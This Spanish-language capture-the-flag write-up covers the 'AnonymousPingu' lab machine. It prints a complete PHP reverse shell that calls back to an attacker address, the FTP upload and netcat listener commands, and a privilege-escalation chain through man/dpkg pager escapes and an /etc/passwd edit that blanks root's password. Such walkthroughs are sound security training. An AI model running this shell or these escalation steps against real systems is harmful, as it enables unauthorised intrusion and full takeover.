> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/anonymouspingu-write-up.md).

# AnonymousPingu write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/c9jJwR42JVTakA53p8ah" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos en la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos en la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/KbwDgB2TMLcNjvOhaNLD" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 21 (FTP) y 80 (HTTP) están abiertos. Además nos indica que podemos iniciar sesión como `anonymous` en el servicio FTP y que tenemos permisos de ejecución, lectura y escritura en el directorio `upload`. Si nos fijamos podemos ver que los archivos y directorios que están en el servicio FTP son los mismo que están en la ruta `/var/www/html/`, ya que si por ejemplo ingresamos <http://172.17.0.2/heustonn-html/> en el navegador nos aparece el directorio:

<figure><img src="/files/xI8jHfag1EdpXS6ihzUC" alt=""><figcaption></figcaption></figure>

Así que vamos a intentar subir un archivo malicioso en la carpeta `upload` para obtener una reverse shell. En mi caso subiere un archivo PHP con el siguiente contenido:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Para subir el archivo al servicio FTP usaremos **curl** de la siguiente manera:

```bash
curl -T shell.php ftp://anonymous:@172.17.0.2/upload/
```

<figure><img src="/files/5dwlVYSXfgmzLrFBXKL0" alt=""><figcaption></figcaption></figure>

Una vez hecho esto, nos ponemos en escucha con **netcat** por los puertos especificados:

```bash
sudo nc -nlvvp 444
```

Y ahora ingresamos la dirección <http://172.17.0.2/upload/shell.php> para ejecutar el archivo malicioso y que nos envié una shell interactiva.

<figure><img src="/files/YJtfzKLka7HHFCG5SzJj" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima ejecutamos el comando `sudo -l` que nos indica que podemos ejecutar el binario `/usr/bin/man` como el usuario `pingu` sin necesidad de contraseña. Así que para escalar como `pingu` vamos a ejecutar lo siguiente:

```bash
sudo -u pingu /usr/bin/man man
```

Esto abrirá el manual del comando `man` con el programa `vim` como usuario `pingu`, así que ahora escribiremos `!/bin/bash` para obtener una shell como el usuario `pingu`.

<figure><img src="/files/DecuQqpUpnToFP7ss3TZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/28QshBXJR6lC7sp3viPw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/tVSIUqdFY5VfXFVlR6pd" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `pingu` ejecutamos el comando `sudo -l` que nos indica que podemos ejecutar los binarios `/usr/bin/dpkg` y `/usr/bin/nmap` como el usuario `gladys` sin necesidad de contraseña.

<figure><img src="/files/hjl4RohE58hiUN6ZldQW" alt=""><figcaption></figcaption></figure>

Vamos a utilizar el binario `/usr/bin/dpkg` para ejecutar comandos como el usuario `gladys`. Para ello, listaremos todos los paquetes instalados en el sistema y visualizaremos la salida con `vim`. Así que haremos lo mismo que antes para escalar como el usuario `gladys`.

```bash
sudo -u gladys /usr/bin/dpkg -l
```

<figure><img src="/files/KNHATOfUdoD0OfLLGRod" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FpldbCvS8S4M73Xd0bJJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ciwwzsl8rYF8DqCIGCbo" alt=""><figcaption></figcaption></figure>

Una vez seamos el usuario `gladys`, ejecutamos el comando `sudo -l`, que nos indica que podemos ejecutar el binario `/usr/bin/chown` como el usuario `root` sin necesidad de contraseña. Así que vamos a cambiar el propietario del fichero `/etc/passwd` de root a gladys con el siguiente comando:

```bash
sudo /usr/bin/chown gladys:gladys /etc/passwd
```

<figure><img src="/files/MFGva2indhQLLjKmN0lW" alt=""><figcaption></figcaption></figure>

Ahora modificaremos el archivo `/etc/passwd` para que el usuario `root` no tenga contraseña. Para ello, primero mostraremos su contenido con el siguiente comando:

```bash
cat /etc/passwd
```

Luego, editaremos la línea correspondiente al usuario `root`, eliminando la `x` en el segundo campo. Esto dejará la contraseña en blanco, permitiendo el acceso sin necesidad de ingresarla.

```plaintext
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
ftp:x:101:103:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
systemd-resolve:x:995:995:systemd Resolver:/:/usr/sbin/nologin
pingu:x:1001:1001::/home/pingu:/bin/bash
gladys:x:1002:1002::/home/gladys:/bin/bash
```

Y ahora cambiamos el archivo con el siguiente comando:

```bash
cat > /etc/passwd
```

<figure><img src="/files/cHtq4i6L63TBIITuETDY" alt=""><figcaption></figcaption></figure>

Ahora ya podemos iniciar sesión como usuario `root` sin necesidad de una contraseña.

<figure><img src="/files/OxRYvBynKqQNPH9Owq0p" alt=""><figcaption></figcaption></figure>
